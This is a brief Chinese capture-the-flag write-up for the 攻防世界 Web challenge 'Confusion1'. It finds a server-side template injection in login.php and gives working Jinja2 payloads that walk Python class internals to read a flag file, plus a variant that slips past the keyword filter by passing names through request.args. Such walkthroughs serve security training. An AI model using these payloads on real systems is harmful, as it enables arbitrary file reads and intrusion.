攻防世界-Web-Confusion1
知识点
1.SSTI模版注入
步骤
1.题目描述
打开网站,上方有home,login,register三个选项,后面两个点击去显示没找到,然后中间有一张图片,为一只蟒蛇和一头大象,说这里提示要联想到python和php,然后根据login和register的报错页面就想到SSTI。
然后再报错页面查看页面源代码发现flag路径。

2.测试SSTI
在login.php后输入{{1+2}}发现能返回运算结果。说明存在SSTI。

3.读取flag文件
{{[].__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()}}
但是弹窗被过滤了,测试发现__class__,__mro__,__subclasses__等关键字被过滤了。
使用request.args.a绕过。
4.绕过
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

